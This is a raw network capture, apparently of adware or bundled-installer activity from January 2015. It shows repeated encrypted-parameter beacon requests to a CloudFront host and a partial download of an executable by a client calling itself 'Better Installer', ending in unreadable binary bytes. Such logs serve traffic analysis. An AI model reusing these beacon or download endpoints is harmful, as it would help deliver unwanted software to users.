GET /p.ashx?e=4mC0vXGWFtpeSST1IgI2iM4CTydo2RkEQBgj8NbikQF4E7mrr1h80jmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDK6D6ypWzwyd lWLUtT/Ob84SfvtpjZHs7iBzxgz2DOxsivMaAupUnTb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO76MwPHTXfIkZQDOgQe8IYipMYNWSFncYdQKfTP/zWdAxxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTvzzMobpRZVeMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AiwYrkTZsU4NhmK4anH5lVnwBPEhRyyBD7C6yNKYP izy0aR 1i1roGx4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dlR3dgLkh-8GBRr3SALVDZ5VFTpJ6-QuulczLWJqGS9_nIfJ5JrJQA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:04 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: dlR3dgLkh-8GBRr3SALVDZ5VF
TpJ6-QuulczLWJqGS9_nIfJ5JrJQA==......

GET /p.ashx?e=PcwT4QFtuPCnIVMsUgdaKTEOJYAmH59Vsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSZ8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX35gOZQe8Bii1iht5zCK3FwaJkIKvOmtNBWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YM8Lp0Bjzny5hsSwoep2eKuZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4O4yU-0jWna4KsHnPEubrmGxVsHl9RNCER9ieFASmuwdl7iX9Db8Pw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:05 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 4O4yU-0jWna4KsHnPEubrmGxV
sHl9RNCER9ieFASmuwdl7iX9Db8Pw==......

GET /p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gdhPzGxn06LWQpGLBzvrxsvBh-RleIFdoJr_s0HzERqpUVLYv5AQJw==

....

GET /p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eZ23bNsw1laqdr2gawSfBQ8QnrzacRJtxWg6QJPT7DQPvqdgEqRhCg==

....

GET /p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3TW/Bv3nfoo7P/3jBALe7zPjH8lx78ea5bLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL5RUkFpWYMHLbBDB4Sx2r5en9lhu9AC b5gB9HtNG/bj5MeXOgdgqiSRTdZ1 o4SMpRARGoQnkwfaZrww1kYG 6ni/66BYs1ldcoel0PIOM3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: enBMfoAgAoPlI_h3qqZrXqYul5rYw0LbORW9qrUE_SLqUE2y_Tpwsw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:06 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: enBMfoAgAoPlI_h3qqZrXqYul
5rYw0LbORW9qrUE_SLqUE2y_Tpwsw==......

GET /p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YOgqpFoRMZSCYnEK43tqK5p2skB4aC3ESGdgElvBjDHB8P rxL ch GZ0xm6mhNmOwAWodnV1HIBQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fya7kbI1Vr5FarcLTZwmsR6ryK1bYG5xmU1lmvR-hQAl_Trr98VeaQ==

....

GET /p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMSNngOvjpV1AJRbnguo3YM4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhT/yaEvCJV7Ux96BOH62W9/QWfLnCrtHlV21uVlG5yFmVQHvOEGgpnl6Yl8u4twhyqubh8j4cVtCSWJgKs4pazP1e4SKwQJ4O04skJa/Fex64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Yj0YIFQGhOZMyNjfHjy_RPFeosuF9BL6XLLnKRQ0zrqBI0TGhVEWIg==

....

GET /p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YNcWyV 43ZmuBoJKnjcECO vcpBmUnu1RPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bfPsPMm2EQxVRFaDl4bFI6upNcRM4MOWFdFMnMEV9-0V8dsjhX90IQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: bfPsPMm2EQxVRFaDl4bFI6upN
cRM4MOWFdFMnMEV9-0V8dsjhX90IQ==......

GET /p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: X-GLR8HewpMwVT0-O-IKNk27iv_mmSb9rQxtxYUgpxs8-TUEAOhApQ==

....

GET /p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -HYDQ0fhso8HCxvR8JONlnRQI2aGRh0fSmRQoRymCgtrTCtHv2EDZQ==

....

GET /p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEKNSXkoE/uV5jdI9NRwlB9s IILilpWF0zwh6 kBmZAgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9zATrG5OxdfzUq38gcCJLohb8Qp1Qp1RR5sTkGMCAYMDfSNmww5DJw==

....

GET /p.ashx?e=2fVCHF6kf8gQ0V45w4Sc0SyMiXp71dskN1IH8VCNL9hAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTfIXMF1Q9BlidZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu/pDW71a9FohpKb81Sa5kgtqq35bppXPWLZahQr/K1K0cBk3VdRCGn9gKkdlz1lRoce/5WtWjmcuFAL52sIXt4VzrzFC04 gV5JkcnGF9 uBp fGZ3XE97vz/JnXac5wHeUBc/7joLqq94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DnrIFGH_tq1nADIQRbB3I7QIG5AZ4_P1_el2THpuq40JvHsG9poDcg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: DnrIFGH_tq1nADIQRbB3I7QIG
5AZ4_P1_el2THpuq40JvHsG9poDcg==......

GET /p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8tSqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXarCxFpgIgxIo2l87Wlt0nJEYL71eUDU8x/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7UBCzgBzVDw8IxMsl7o8zKx2fgybcx3qaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLci/wVByNs0pOReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnzQmrBFp0jDU HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EYMeG1UcR2jCvrf6N9bGBJkg7M6VAEvXUZb5HgVm2oppZJXYTd9gsQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: EYMeG1UcR2jCvrf6N9bGBJkg7
M6VAEvXUZb5HgVm2oppZJXYTd9gsQ==......

GET /p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPKl6yrhyfrOiGQmEP2wPcgs IILilpWF0zwh6 kBmZAgDvV8aygxQc4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gE0TN1mJaaCIswmyhtZIRDQAxbbMqKizezezc6bB08tSTWnFytRAdg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 9869723f5e01c68981d50cd8c20c49
a6.cloudfront.net (CloudFront)..X-Amz-Cf-Id: gE0TN1mJaaCIswmyhtZIRDQAx
bbMqKizezezc6bB08tSTWnFytRAdg==......

GET /p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1y6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Hrzdgeh4AzBIHyylLve6tJQG165tE03Ezmgl2zF63YBEQ3QUeU2LNw==

....

GET /p.ashx?e=yhrBLBbZM9WBOuidoZFbtc4CTydo2RkEzcFdShAqWbJ4E7mrr1h80jmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDK6D6ypWzwyd lWLUtT/Ob84SfvtpjZHs7iBzxgz2DOxGplaxtKDMMacp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6WZ8guqBZi0MpS6Jr8Juc2oaz9VHlux2XiFuoOxX6myUvF_9sKXPTw==

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OsSTOIoxPb41KVCQUYheOhNuRdTjdKdwKieRNz_wk8Oj35-Df_4peg==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

